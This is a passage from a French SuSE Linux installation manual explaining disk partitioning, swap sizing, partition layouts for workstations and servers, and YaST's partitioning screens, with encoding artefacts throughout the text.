  4894. C'est ici qu'entre en jeu le concept de la partition Θtendue. La partition Θten-
  4895. due est Θgalement une zone ininterrompue de cylindres du disque dur. On peut
  4896. cependant partager encore une fois la partition Θtendue en partitions dites lo-
  4897. giques qui ne nΘcessitent, par elles-mΩmes, aucune entrΘe dans la table des
  4898. partitions. La partition Θtendue sert en quelque sorte α contenir les partitions
  4899. logiques.
  4900.  
  4901. Si vous avez besoin de plus de quatre partitions, vous devrez prΘvoir, lors du
  4902. partitionnement, de transformer au plus tard la quatriΦme partition en partition
  4903. Θtendue  et  vous  devrez  lui  attribuer  de  l'espace  disponible  sur  le  cylindre.
  4904. Vous  pourrez  y  crΘer  des  partitions  logiques  ``α  volontΘ''  (le  maximum  est
  4905. de  15  partitions  pour  les  disques  SCSI  et  de  63  partitions  pour  les  disques
  4906. (E)IDE).
  4907.  
  4908. Linux ne se prΘoccupe pas du type des partitions (primaires et/ou logiques)
  4909. sur lesquelles l'installation est effectuΘe.
  4910.  
  4911.  
  4912. Prendre des dΘcisions
  4913.  
  4914. Commenτons  par  la  question  concernant  ce  qui  est  absolument  indispen-
  4915. sable : 180 Mo, ce qui suppose dΘjα un usage particulier de la machine. On
  4916. travaille uniquement sur la console ~ sans systΦme X Window. Si l'on veut
  4917. donner un coup d'oeil α X et lancer un petit nombre d'applications : 500 Mo.
  4918. Ces deux valeurs incluent le swap.
  4919.  
  4920. Combien  devrait-on  avoir ?  1  Go.  Dans  le  monde  des  disques  durs  de  plu-
  4921. sieurs  giga-octets,  c'est  une  exigence  plut⌠t  modeste.  Swap  inclus  et  sans
  4922. limite supΘrieure.
  4923.  
  4924. Combien est-il utile d'avoir ? Cela dΘpend de ce que vous voulez :
  4925.  
  4926.   ~   Travailler  sous  X  avec  des  applications  modernes  telles  que  KDE ,  Ap-
  4927.       plixware et Netscape : de 1,2 Go.
  4928.  
  4929.   ~   DΘvelopper, avec Linux, de petites applications personnelles sous X. ╔ga-
  4930.       lement 1,2 Go.
  4931.  
  4932.  
  4933.                                                                                                                                    *
  4934.  *     67
  4935. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  4936.  *_______________________________________@
  4937.  
  4938.  
  4939.  
  4940.                              ~   Les deux points mentionnΘs ci-dessus : 2 Go.
  4941.                              ~   Compiler vos propres serveurs X, graver vos propres CD et faire ce qui
  4942.  
  4943.                                  est mentionnΘ ci-dessus : 4 Go.
  4944.  
  4945.                              ~   Avoir une connexion Internet et utiliser FTP : 700 Mo de systΦme de base
  4946.                                  + le nombre qui vous conviendra.
  4947.  
  4948.                            Comment faut-il rΘpartir l'espace ? C'est une question simple α laquelle il est
  4949.                            beaucoup moins simple de rΘpondre.
  4950.                            ________________________________________________________________________________________________________*
  4951.  *________||
  4952.  
  4953.                            |  Le systΦme de fichiers Linux Θtant maintenant d'une certaine robustesse,                             *
  4954.  *        ||||
  4955.                            |  une bonne marche α suivre, surtout pour les dΘbutants, consiste α adopter la                         *
  4956.  *        |||
  4957.                            |                                                                                                       *
  4958.  *        |||
  4959.                            |  mΩme stratΘgie que YaST  : prΘvoir une petite partition au dΘbut du disque                           *
  4960.  *        |||
  4961.                            |  pour /boot (2 Mo au minimum, pour les grands disques 1 cylindre), une                                *
  4962.  *        |||
  4963.                            |                                                                                                       *
  4964.  *        |||
  4965.                            |  partition de swap (64-128 Mo) et tout le reste pour /.                                               *
  4966.  *        |||
  4967.                            |_______________________________________________________________________________________________________*
  4968.  *________|||_
  4969.  
  4970.                            Si vous voulez partitionner le moins possible suivez les rΦgles ci-dessous :
  4971.  
  4972.                              ~   jusqu'α environ 500 Mo : une partition de swap et une partition racine (/)
  4973.  
  4974.                              ~   de 500 Mo environ α 2 Go : petite partition de dΘmarrage pour le noyau
  4975.                                  et pour LILO  au dΘbut du disque dur (/boot, environ 5-10 Mo ou 1 cy-
  4976.                                  lindre), partition de swap et le reste pour la partition racine (/).
  4977.  
  4978.                              ~   α  partir  d'environ  2  Go  :  Boot  (/boot),  swap,  root  (180  Mo),  home
  4979.                                  (/home  avec  environ  100  Mo  par  utilisateur)  et  le  reste  pour  les  pro-
  4980.                                  grammes (/usr), le cas ΘchΘant une partition supplΘmentaire pour /opt
  4981.                                  (voir prΘsente page) et pour /var.
  4982.                            ________________________________________________________________________________________________________*
  4983.  *________||
  4984.                            |  Si vous voulez lancer Linux directement α partir du disque dur, vous aurez                           *
  4985.  *        ||||
  4986.                            |                                                                                                       *
  4987.  *        |||
  4988.                            |  besoin,  comme  partition  de  dΘmarrage,  d'une  partition  Linux  situΘe  au                       *
  4989.  *        |||
  4990.                            |  dessous de ``la limite du cylindre 1024'' (voir page 121 et page 139). Ceci                          *
  4991.  *        |||
  4992.                            |                                                                                                       *
  4993.  *        |||
  4994.                            |  ne  vous  concerne  pas  si  vous  lancez  Linux  α  partir  de  DOS-Windows  α                      *
  4995.  *        |||
  4996.                            |  l'aide  de  loadlin .  Habituellement  (α  partir  de  SuSE     Linux  6.0),  c'est  la              *
  4997.  *        |||
  4998.                            |                                                                                                       *
  4999.  *        |||
  5000.                            |  partition boot (/boot) qui est cette partition de dΘmarrage.                                         *
  5001.  *        |||
  5002.                            |_______________________________________________________________________________________________________*
  5003.  *________|||_
  5004.  
  5005.                            Il faut Θgalement considΘrer que quelques programmes (commerciaux pour
  5006.                            la  plupart)  installent  leurs  donnΘes  sous  /opt.  Vous  devrez  prΘvoir,  le  cas
  5007.                            ΘchΘant,  soit  une  partition  sΘparΘe  pour  /opt,  soit  une  taille  plus  grande
  5008.                            pour la partition racine. Il s'agit, entre autres, des paquetages logiciels dont
  5009.                            le  tableau  2.1  page  suivante  vous  donne  la  liste  ou  de  dΘmos  ~  calculΘs  α
  5010.                            chaque fois en vue d'un Θventuel accroissement (le tableau mentionne aussi
  5011.                            des programmes qui ne sont pas inclus dans la distribution SuSE     Linux !).
  5012.  
  5013.  
  5014.                            2.9       Partitionnement avancΘ
  5015.  
  5016.                            Le  paragraphe  2.8  page  prΘcΘdente  ainsi  que  le  paragraphe  2.10.1  page  75
  5017.                            vous donnent des dΘtails sur les possibilitΘs de partitionnement du systΦme.
  5018.                            Le but du prΘsent paragraphe est de vous fournir des informations dΘtaillΘes
  5019.                            qui vous permettront d'Θtablir un plan optimal de partitionnement adaptΘ α
  5020.                            vos besoins. Ce paragraphe prΘsente un intΘrΩt particulier pour tous ceux qui
  5021.                            veulent configurer leur systΦme de faτon optimale ~ tant du point de vue de la
  5022.  
  5023.  
  5024. 68
  5025.        _______________________________________________________________________________________2.9.__Partitionnement_avancΘ_________*
  5026.  *______________________
  5027.  
  5028.        _______________________________________________________________________________________________________________________
  5029.  
  5030.  
  5031.                  KDE                                                               170 Mo
  5032.                  GNOME                                                             100 Mo
  5033.                  htdig                                                                 5 Mo
  5034.                  Fortify                                                               2 Mo
  5035.                  dochost  avec recherche plein texte htdig                         200 Mo
  5036.                  Wabi                                                                10 Mo
  5037.                  Netscape                                                            35 Mo
  5038.                  Arcad                                                             350 Mo
  5039.                  Applixware                                                        400 Mo
  5040.                  Eagle                                                               18 Mo
  5041.                  Staroffice                                                        150 Mo
  5042.                  Bartels AutoEngineer (BAE)                                          60 Mo
  5043.                  Cyberscheduler Software                                             30 Mo
  5044.                  HP Eloquence                                                        20 Mo
  5045.                  Cygnus Source-Navigator                                             20 Mo
  5046.                  SNiFF+                                                              45 Mo
  5047.                  Insure++                                                            45 Mo
  5048.                  pep                                                                 18 Mo
  5049.                  Oracle 8                                                          400 Mo
  5050.                  Sybase ~ Adaptive Server Enterprise                               170 Mo
  5051.        __________virtuoso_~_OpenLink_Virtuoso_Lite_Edition___________________________55_Mo____________________________________
  5052.  
  5053. Tab. 2.1: Exemples pour paquetages sous /opt     ~ ces paquetages ne sont pas
  5054. tous fournis avec SuSE     Linux !
  5055.  
  5056.  
  5057.  
  5058. sΘcuritΘ que du point de vue de la rapiditΘ ~ et qui sont disposΘs pour atteindre
  5059. ce but α reconstruire complΦtement leur systΦme et α faire en quelque sorte
  5060. table rase.
  5061.  
  5062. Il est absolument indispensable de comprendre les bases du fonctionnement
  5063. d'un  systΦme  de  fichiers  UNIX.  Les  expressions  +  point  de  montage  ainsi
  5064. que partition physique, Θtendue et logique ne devraient pas Ωtre pour vous des
  5065. mots Θtrangers.
  5066.  
  5067. Il doit tout d'abord Ωtre mentionnΘ qu'il n'existe pas une seule bonne voie va-
  5068. lable pour tous mais plusieurs bonnes voies pour chacun. Soyez sans crainte,
  5069. vous  trouverez  dans  ce  paragraphe  des  chiffres  concrets  qui  pourront  vous
  5070. servir de rΘfΘrence.
  5071.  
  5072. Pour commencer, rassemblez les informations suivantes :
  5073.  
  5074.   ~   Quelle est la fonction de la machine (serveur de fichiers, serveur de calcul,
  5075.       ordinateur monoposte) ?
  5076.  
  5077.   ~   Combien  de  personnes  travailleront  sur  cette  machine  (logins  simulta-
  5078.       nΘs) ?
  5079.  
  5080.   ~   Combien de disques durs possΦde la machine, de quelle taille sont-ils et
  5081.       quel  systΦme  ont-ils  (EIDE,  SCSI  ou  mΩme  Θventuellement  contr⌠leur
  5082.       RAID) ?
  5083.                                                                                                                                    *
  5084.  *     69
  5085. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  5086.  *_______________________________________@
  5087.  
  5088.  
  5089.  
  5090.                            2.9.1      Taille de la partition de swap
  5091.                            Vous lirez encore trΦs souvent : ``Au moins deux fois autant de +   swap que
  5092.  
  5093.                            de mΘmoire centrale''. Cette formule date de l'Θpoque o∙ 8 Mo de mΘmoire
  5094.                            vive (RAM) n'Θtaient pas peu de chose. Mais ces temps sont rΘvolus et qui
  5095.                            fait aujourd'hui l'acquisition d'une nouvelle machine avec moins de 32 Mo
  5096.                            de mΘmoire a ΘtΘ mal conseillΘ. Revenons maintenant α ce que nous avons dit
  5097.                            plus haut. Le but α atteindre Θtait que la machine dispose d'environ 30 α 40 Mo
  5098.                            de +  mΘmoire virtuelle.
  5099.  
  5100.                            Avec certaines applications modernes qui demandent beaucoup de mΘmoire,
  5101.                            nous devons encore incrΘmenter ces valeurs. En cas normal, 64 Mo de mΘ-
  5102.                            moire virtuelle devraient suffire mais il vaudrait mieux ne pas se montrer trop
  5103.                            avare.  Si  l'on  compile  le  noyau  sous  X  et  si  l'on  veut  consulter  les  pages
  5104.                            d'aide avec Netscape pendant qu'Emacs est en train de tourner quelque part,
  5105.                            64 Mo de mΘmoire virtuelle ne laissent plus beaucoup de rΘserves.
  5106.  
  5107.                            C'est pourquoi l'utilisateur moyen se trouve pour un bon moment dans une
  5108.                            position s√re avec 128 Mo de mΘmoire virtuelle. Voici ce que vous devriez
  5109.                            α  tout  prix  Θviter  :  ne  pas  avoir  du  tout  de  mΘmoire  de  swap.  MΩme  dans
  5110.                            une machine de 256 Mo de mΘmoire vive, il doit exister une zone de swap.
  5111.                            Les raisons en sont claires α la lecture du paragraphe 2.9.3 page 73 (Fonction
  5112.                            comme serveur de calcul).
  5113.  
  5114.                            Vous  faites  calculer  de  trΦs  importantes  simulations  avec  un  besoin  de  mΘ-
  5115.                            moire  ( !)  de  plusieurs  giga-octets.  Si  vous  deviez  avoir  des  doutes  et  vous
  5116.                            demander si Linux offre une rΘserve suffisante pour vos applications, lisez le
  5117.                            paragraphe 2.9.2 page suivante (Fonction comme serveur de calcul).
  5118.  
  5119.  
  5120.                            2.9.2      PossibilitΘs de fonction de la machine
  5121.  
  5122.  
  5123.                            Fonction comme ordinateur monoposte :
  5124.  
  5125.                            Le cas d'utilisation le plus courant pour une petite machine Linux est la fonc-
  5126.                            tion d'ordinateur monoposte. Afin que vous puissiez vous orienter α des va-
  5127.                            leurs concrΦtes, nous avons Θtabli ici quelques configurations exemples dont
  5128.                            vous pourrez le cas ΘchΘant vous servir chez vous ou dans votre entreprise.
  5129.                            Le tableau 2.2 vous donne une vue d'ensemble des diffΘrents volumes d'ins-
  5130.                            tallation pour un systΦme Linux.
  5131.  
  5132.                            ________________________________________________________________________________________________________*
  5133.  *________
  5134.  
  5135.  
  5136.                             __Installation_________Espace_disque_nΘcessitΘ_________________________________________________________*
  5137.  *________
  5138.                               minimale             180 Mo α 400 Mo
  5139.                               petite               400 Mo α 800 Mo
  5140.                               moyenne              800 Mo α 4 Go
  5141.                               grande               4 Go α 8 Go
  5142.  
  5143.                            ________________________________________________________________________________________________________*
  5144.  *________
  5145.  
  5146.                                           Tab. 2.2: Exemples pour diffΘrentes tailles d'installation
  5147.  
  5148.  
  5149.                            Ces valeurs seront bien s√r incrΘmentΘes si vous voulez sauvegarder des don-
  5150.                            nΘes supplΘmentaires ne faisant pas partie du systΦme.
  5151.  
  5152.  
  5153.  
  5154. 70
  5155.        _______________________________________________________________________________________2.9.__Partitionnement_avancΘ_________*
  5156.  *______________________
  5157.  
  5158.  
  5159.  
  5160. Exemple : Ordinateur station de travail standard (de trΦs petite taille)
  5161. Vous avez un disque dur d'environ 500 Mo et vous dΘsirez y installer Linux :
  5162.  
  5163. une partition de swap d'environ 64 Mo et le reste pour / (partition racine).
  5164.  
  5165.  
  5166.  
  5167. Exemple : Ordinateur station de travail standard (moyen)
  5168.  
  5169. Vous avez 1.2 Go d'espace disponible pour Linux. Petite partition de dΘmar-
  5170. rage (5-10 Mo ou 1 cylindre), 180 Mo pour /, 64 Mo pour le swap, 100 Mo
  5171. pour  /home  et  le  reste  pour  /usr.  N'oubliez  pas  la  zone  /opt  (voir  para-
  5172. graphe 2.8 page 68). Pour la dΘtermination de la partition racine, vous devez
  5173. tenir compte du fait que la base de donnΘes RPM est crΘΘe sous /var (voir
  5174. paragraphe 15.3.2 page 419) !
  5175.  
  5176.  
  5177.  
  5178. Exemple : Ordinateur station de travail standard (de luxe)
  5179.  
  5180. Si vous disposez de 1,2 Go ou davantage sur plusieurs disques durs, il n'existe
  5181. pas de partitionnement ``clΘs en main''. Lisez α ce sujet le paragraphe 2.9.3
  5182. page suivante.
  5183.  
  5184.  
  5185.  
  5186. Fonction comme serveur de fichiers :
  5187.  
  5188. Ici tout dΘpend vraiment de la performance du disque dur. Vous devriez abso-
  5189. lument donner la prΘfΘrence aux pΘriphΘriques SCSI. Tenez compte aussi de
  5190. la capacitΘ de rendement des disques et du contr⌠leur utilisΘ.
  5191.  
  5192. Un serveur de fichiers vous donne la possibilitΘ de stocker centralement des
  5193. donnΘes. Il peut s'agir ici de +  rΘpertoires personnels, d'une base de donnΘes
  5194. ou autre archive. L'avantage est une administration beaucoup plus simple.
  5195.  
  5196. Si le serveur de fichiers doit fonctionner dans un rΘseau assez grand (α partir
  5197. de 20 utilisateurs) l'optimisation de l'accΦs au(x) disque(s) est essentielle.
  5198.  
  5199. Supposons  que  vous  vouliez  crΘer  un  serveur  de  fichiers  Linux  qui  devra
  5200. mettre α disposition les rΘpertoires personnels (home) de 25 utilisateurs. Vous
  5201. savez que chaque utilisateur aura besoin, au maximum, de 80 Mo pour ses
  5202. donnΘes personnelles. Si chacun de ces utilisateurs ne compile pas constam-
  5203. ment  dans  son  rΘpertoire  personnel,  un  disque  de  2  Go  montΘ  simplement
  5204. sous /home sera suffisant.
  5205.  
  5206. Si vous avez 50 utilisateurs, vous pouvez facilement en dΘduire par simple
  5207. calcul qu'il vous faut un disque de 4 Go. Il serait cependant prΘfΘrable, dans
  5208. un tel cas, de rΘpartir /home sur deux disques de 2 Go qui se partageraient
  5209. alors la tΓche (et le temps d'accΦs !).
  5210.  
  5211.  
  5212.  
  5213. Fonction comme serveur de calcul :
  5214.  
  5215. Un  serveur  de  calcul  est  en  rΦgle  gΘnΘrale  une  machine  α  haut  rendement
  5216. qui  exΘcute  en  rΘseau  des  tΓches  intensives  en  ressources  processeur.  Il  est
  5217. typique pour une telle machine de disposer d'une mΘmoire centrale un peu
  5218. plus importante (α partir de 512 Mo de RAM). Le seul point auquel un dΘbit
  5219. plus rapide du disque s'impose est constituΘ par d'Θventuelles partitions de
  5220.  
  5221.  
  5222.                                                                                                                                    *
  5223.  *     71
  5224. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  5225.  *_______________________________________@
  5226.  
  5227.  
  5228.  
  5229.                            swap. La rΦgle α appliquer ici est la suivante : rΘpartir plusieurs partitions de
  5230.                            swap sur plusieurs disques4 .
  5231.  
  5232.  
  5233.                            2.9.3      PossibilitΘs d'optimisation
  5234.  
  5235.                            C'est la plupart du temps le disque qui impose des limites. Pour contourner
  5236.                            ce ``goulot d'Θtranglement'', il existe trois mΘthodes. Les deux premiΦres de-
  5237.                            vraient, de prΘfΘrence, Ωtre appliquΘes en mΩme temps :
  5238.  
  5239.                              ~   RΘpartir la charge de faτon Θgale sur plusieurs disques.
  5240.  
  5241.                              ~   Doter  le  serveur  de  fichiers  de  suffisamment  de  mΘmoire  (128  Mo  au
  5242.                                  minimum).
  5243.  
  5244.                              ~   Utiliser un systΦme de fichiers optimisΘ (par exemple reiserfs       ).
  5245.  
  5246.  
  5247.                            ParallΘlisation par plusieurs disques
  5248.  
  5249.                            La mΘthode mentionnΘe en premier requiert une explication approfondie. Le
  5250.                            temps global qui s'Θcoule avant que le fichier demandΘ soit mis α disposition
  5251.                            peut Ωtre dΘcoupΘ grosso modo de la faτon suivante :
  5252.  
  5253.                             1.   Temps nΘcessaire α la demande pour parvenir au contr⌠leur du disque.
  5254.  
  5255.                             2.   Temps nΘcessaire au contr⌠leur pour envoyer la demande au disque dur.
  5256.  
  5257.                             3.   Temps nΘcessaire au disque dur pour positionner sa tΩte.
  5258.  
  5259.                             4.   Temps nΘcessaire au support pour se tourner vers le secteur adΘquat.
  5260.  
  5261.                             5.   Temps nΘcessaire α la transmission.
  5262.  
  5263.                            Le point 1 dΘpend de la connexion rΘseau et doit Ωtre rΘglΘ α ce niveau. Nous
  5264.                            ne nous attarderons pas plus longtemps sur ce sujet. Le point 2 reprΘsente un
  5265.                            laps de temps relativement nΘgligeable qui dΘpend du contr⌠leur du disque.
  5266.                            Le point 3 constitue en fait le gros morceau. Le positionnement est mesurΘ en
  5267.                            ms, ce qui, comparΘ aux temps d'accΦs α la mΘmoire centrale mesurΘs en ns,
  5268.                            reprΘsente un facteur de 1 million ! Le point 4 dΘpend de la vitesse de rotation
  5269.                            du disque. Le point 5 dΘpend de la vitesse de rotation et du nombre de tΩtes
  5270.                            ainsi que de la position actuelle de la tΩte (interne, externe).
  5271.  
  5272.                            Pour  obtenir  une  performance  optimale,  il  faudrait  donc  s'attaquer  d'abord
  5273.                            au point 3. Ici la fonction ``disconnect'' des pΘriphΘriques SCSI entre en jeu.
  5274.                            Avec cette fonction il se passe plus ou moins ce qui suit :
  5275.  
  5276.                            Le  contr⌠leur  envoie  au  pΘriphΘrique  connectΘ  (dans  ce  cas  le  disque  dur)
  5277.                            la commande ``Passe α la piste x, secteur y''. La mΘcanique inerte du disque
  5278.                            doit maintenant se mettre en mouvement. Si le disque est intelligent et maε-
  5279.                            trise  donc  disconnect  et  si  le  pilote  pour  le  contr⌠leur  maεtrise  aussi  cette
  5280.                            fonction, le contr⌠leur envoie, immΘdiatement aprΦs, une commande discon-
  5281.                            nect  au  disque  et  celui-ci  se  dΘconnecte  du  bus  SCSI.  DΘsormais,  d'autres
  5282.                            pΘriphΘriques SCSI peuvent effectuer leurs transferts. Au bout d'un certain
  5283.                            temps (dont la durΘe dΘpend de la stratΘgie mise en oeuvre ou de la charge
  5284.                            _____________________________________________4
  5285.                              Si vous envisagez d'utiliser le noyau 2.0.xx dans votre systΦme, n'oubliez pas qu'une partition
  5286.                            de swap ne doit pas dΘpasser 128 Mo. Linux peut cependant gΘrer sans problΦme 8 de ces
  5287.                            partitions ~ et mΩme 64 avec quelques petites modifications. Avec le noyau 2.2.xx, la limite
  5288.                            d'une partition de swap se situe α 2 Go.
  5289.  
  5290.  
  5291. 72
  5292.        _______________________________________________________________________________________2.9.__Partitionnement_avancΘ_________*
  5293.  *______________________
  5294.  
  5295.  
  5296.  
  5297. qui se trouve sur le bus SCSI), la connexion avec le disque dur est de nouveau
  5298. activΘe. Dans le cas idΘal celle-ci a dΘjα atteint la piste requise.
  5299. Dans un systΦme d'exploitation multitΓche/multiutilisateur tel que Linux, on
  5300. peut bien s√r faire une optimisation Θpatante. Voyons maintenant un extrait
  5301. d'une sortie de la commande df   (voir l'affichage α l'Θcran 2.9.1).
  5302.        _______________________________________________________________________________________________________________________
  5303.        |||||||| Filesystem              1024-blocks   Used  Available  Capacity  Mounted  on                                   |
  5304.        |||||||| /dev/sda2                      45835     27063      16152        63%     /                                     |
  5305.        |||||||| /dev/sdb1                    992994   749694     192000        80%     /usr                                    |
  5306.        |||||||| /dev/sdc1                    695076   530926     133412        80%     /usr/lib                                |
  5307.        ||||||||_______________________________________________________________________________________________________________ |
  5308. affichage α l'Θcran 2.9.1: Exemple d'un partitionnement : Affichage obtenu
  5309. par la commande df  .
  5310.  
  5311.  
  5312. Que  nous  apporte  cette  parallΘlisation ?  Supposons  que  nous  fassions  dans
  5313. /usr/src l'entrΘe suivante :
  5314.     root@terre:/usr/src/  >  tar  xzf  paket.tgz  -C  /usr/lib
  5315.  
  5316. Cela doit donc installer paket.tgz  vers /usr/lib/paket. └ cette fin, tar  et
  5317. gzip  seront  invoquΘs  par  le  shell  (ils  se  trouvent  sous  /bin  ainsi  que  sous
  5318. /dev/sda),  ensuite  paket.tgz  sera  lu  par  /usr/src  (il  se  trouve  sous
  5319. /dev/sdb). Pour terminer, les donnΘes extraites seront Θcrites vers /usr/lib
  5320. (se trouve sous /dev/sdc). Le positionnement ainsi que la lecture/Θcriture de
  5321. la mΘmoire tampon interne du disque peuvent maintenant Ωtre exΘcutΘs de fa-
  5322. τon pratiquement parallΦle.
  5323.  
  5324. Mais  ce  n'est  qu'un  exemple  entre  plusieurs.  Selon  une  rΦgle  approxima-
  5325. tive,  on  peut  dire  que  si  l'on  dispose  de  plusieurs  disques  (de  la  mΩme  vi-
  5326. tesse) /usr et /usr/lib devraient se trouver sur des disques diffΘrents. Et
  5327. /usr/lib devrait avoir environ 70% de la capacitΘ de /usr. Dans ce cas, le
  5328. rΘpertoire racine / devrait se trouver, en raison de la frΘquence des accΦs, sur
  5329. le mΩme disque que /usr/lib.
  5330.  
  5331. └ partir d'un certain nombre de disques SCSI (4 α 5 environ), on devrait en-
  5332. visager sΘrieusement d'avoir recours α une solution RAID de type logiciel ou
  5333. mieux encore de faire l'acquisition d'un contr⌠leur RAID. Les opΘrations sur
  5334. les  disques  ne  se  dΘrouleront  plus  de  faτon  pratiquement  parallΦle  mais  de
  5335. faτon exactement parallΦle. La tolΘrance aux erreurs constitue une caractΘris-
  5336. tique secondaire apprΘciable.
  5337.  
  5338.  
  5339. DΘbit du disque et taille de la mΘmoire centrale
  5340.  
  5341. Dans plusieurs passages, nous attirons votre attention sur le fait que la taille
  5342. de la mΘmoire centrale sous Linux a souvent plus d'importance que la vitesse
  5343. du processeur. L'une des raisons ~ et c'est peut-Ωtre mΩme la raison principale
  5344. ~ est la propriΘtΘ que possΦde Linux de crΘer des mΘmoires tampons dyna-
  5345. miques avec les donnΘes du disque dur. Linux travaille ici avec tout un tas
  5346. d'astuces telles que ``read ahead'' (il recherche, par prΘcaution, des secteurs
  5347. α  l'avance)  et  ``delayed  write''  (il  s'Θpargne  des  accΦs  en  Θcriture  pour  tout
  5348. exΘcuter en une seule opΘration). Ce dernier point est la raison pour laquelle
  5349. on ne doit pas Θteindre brutalement une machine sous Linux. Ces deux points
  5350. ont pour consΘquence que la mΘmoire centrale se remplit de faτon apparente
  5351. au fil du temps et que Linux est d'une extrΩme rapiditΘ.
  5352.  
  5353.  
  5354.                                                                                                                                    *
  5355.  *     73
  5356. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  5357.  *_______________________________________@
  5358.  
  5359.                            ________________________________________________________________________________________________________*
  5360.  *________||
  5361.                            | Mem:              63total304     used62312   free   99shared2  buffers15920cached38692        4200    *
  5362.  *         |
  5363.                            ||-/+  buffers:                19420      43884                                                         *
  5364.  *         ||
  5365.                            | Swap:           199508      14548     184960                                                          *
  5366.  *         |
  5367.                            |_______________________________________________________________________________________________________*
  5368.  *________ |
  5369.  
  5370.                                                     affichage α l'Θcran 2.9.2: La sortie de free
  5371.  
  5372.  
  5373.  
  5374.                            L'affichage 2.9.2 montre que dans l'exemple ci-dessus il y a bien 38 Mo de
  5375.                            stockΘs dans les mΘmoires tampons. Si l'on veut accΘder α certaines donnΘes
  5376.                            qui se trouvent encore dans la mΘmoire tampon, celles-ci sont pratiquement
  5377.                            disponibles immΘdiatement.
  5378.  
  5379. 74
  5380.        _______________________________________________________________2.10.__Configuration_manuelle_du_disque_dur__________________*
  5381.  *______________________
  5382.  
  5383.  
  5384.  
  5385. 2.10        Configuration manuelle du disque dur
  5386. 2.10.1       Configurer les partitions
  5387.  
  5388.  
  5389.  
  5390. De quoi est-il question ?
  5391.  
  5392. Au paragraphe 2.2.4 page 33, vous avez dΘcidΘ de partitionner en mode inter-
  5393. actif. Nous vous prΘsentons ici les masques de YaST  avec lesquels vous allez
  5394. vous voir confrontΘ.
  5395.  
  5396. Vous  trouverez  des  informations  d'arriΦre-plan  sur  les  diffΘrents  types  de
  5397. partitions dans un document de Andries Brouwer (http://www.win.tue.
  5398. nl/~aeb/partitions/).
  5399.  
  5400.  
  5401. Pas α pas : : :
  5402.  
  5403. Voici comment vous devez procΘder pour installer vos partitions :
  5404.  
  5405.  1.   YaST  vous  prΘsente  un  Θcran  divisΘ  en  plusieurs  zones  (voir  figure  3.9
  5406.       page 89) :
  5407.  
  5408.       ~   Tout en haut, vous voyez les paramΦtres de votre disque dur.
  5409.  
  5410.       ~   Dans la deuxiΦme zone, vous voyez d'Θventuels avertissements et mes-
  5411.           sages d'erreur du programme_fdisk_. Vous pouvez voir de plus prΦs ces
  5412.           messages en appuyant sur |F___|6.
  5413.  
  5414.       ~   Dans la partie infΘrieure se trouvent les partitions que fdisk a dΘtectΘes
  5415.           sur le disque dur. Vous pouvez voir la ou les partitions du systΦme d'ex-
  5416.           ploitation que vous possΘdiez dΘjα, par exemple les partitions MSDOS.
  5417.           Si vous aviez dΘjα crΘΘ une partition de swap, celle-ci est Θgalement
  5418.           prΘsente ici.
  5419.  
  5420.  2.   Si vous voulez effacer des partitions existantes afin de repartitionner l'es-
  5421.       pace devenu disponible, vous devriez le faire en tout premier lieu.
  5422.  
  5423.       AccΘdez α la partition α effacer avec |#__|et |"__|. RΘflΘchissez bien encore
  5424.       une fois afin d'Ωtre s√r qu'il s'agit de la bonne_partition_et tenez compte
  5425.       aussi du_type_de partition. Appuyez ensuite sur |___F|4et validez l'effacement
  5426.       avec |_____-|.
  5427.        _______________________________________________________________________________________________________________________||
  5428.        ||||||||  Si vous effacez des partitions, toutes les donnΘes qu'elles contiennent se-                    |||            |
  5429.        ||||||||  ront Θgalement effacΘes. Ceci n'est pas exact α 100% sur le plan technique                     ||             |
  5430.        ||||||||                                                                                                 ||             |
  5431.        ||||||||  mais vos donnΘes seront quand mΩme perdues !                                                   ||             |
  5432.        ||||||||_______________________________________________________________________________________________________________||_
  5433.  
  5434.       Si vous voulez effacer plusieurs partitions, faites-le de prΘfΘrence en une
  5435.       seule opΘration.
  5436.  
  5437.  3.   Si vous voulez utiliser pour Linux les partitions dΘjα existantes d'autres
  5438.       systΦmes d'exploitation, vous pouvez le faire en changeant maintenant le
  5439.       type de la partition.
  5440.        _______________________________________________________________________________________________________________________||
  5441.        ||||||||  Si vous changez le type d'une partition, il se peut qu'il ne soit plus possible                |||            |
  5442.        ||||||||                                                                                                 ||             |
  5443.        ||||||||  d'accΘder aux donnΘes qu'elle contient α partir d'autres systΦmes d'exploi-                    ||             |
  5444.        ||||||||  tation (MS-DOS ou Windows) !                                                                   ||             |
  5445.        ||||||||_______________________________________________________________________________________________________________||_
  5446.  
  5447.  
  5448.                                                                                                                                    *
  5449.  *     75
  5450. 2.  PremiΦre installation_de_SuSE______Linux_______________________________________________________________________________________*
  5451.  *_______________________________________@
  5452.  
  5453.  
  5454.  
  5455.                                  AccΘdez α la partition dont vous voulez changer le type avec |#__|et |"__|._Si
  5456.                                  vous Ωtes s√r qu'il s'agit bien de la ``bonne'' partition, appuyez sur |F___|3
  5457.                                  Il  apparaεt  une  fenΩtre  de  sΘlection  pour  le  nouveau  type  de  partition.
  5458.                                  Choisissez  entre _une_ partition  Linux  normale  et  une  partition  de  swap
  5459.                                  et validez avec |_____-|.
  5460.  
  5461.                             4.   Si vous voulez crΘer de nouvelles partitions pour Linux ~ c'est ce qui se
  5462.                                  passe en cas normal ~, crΘez-les de_prΘfΘrence_les_unes aprΦs les autres.
  5463.                                  Pour cela, appuyez d'abord sur |F___5|. Si |F___5|ne produit aucun effet, cela
  5464.                                  signifie : Le disque est dΘjα plein, il n'y a plus de place pour de nouvelles
  5465.                                  partitions.  Vous  devez  alors  commencer  par  effacer  des  partitions  (voir
  5466.                                  plus haut) : : :
  5467.                                                Fig. 2.18: YaST  ~ DΘterminer le partitionnement
  5468.  
  5469.  
  5470.                                  Il apparaεt une fenΩtre de sΘlection pour le mode de la partition α crΘer
  5471.                                  (figure  2.18).  Choisissez  entre  `Partition  primaire',  `Partition_
  5472.                                  Θtendue' et le cas ΘchΘant `Partition  logique' ; validez avec |_____-|.
  5473.                                  Rappel : Vous ne pouvez avoir que 4 partitions primaires au maximum.
  5474.                                  S'il vous faut plus de 4 partitions, vous devrez transformer au plus tard
  5475.                                  la  4Φme  partition  en  partition  Θtendue  dans  laquelle  vous  pourrez  crΘer
  5476.                                  plusieurs  partitions  logiques.  Vous  trouverez  d'autres  informations  α  ce
  5477.                                  sujet au paragraphe 2.8 page 67.
  5478.  
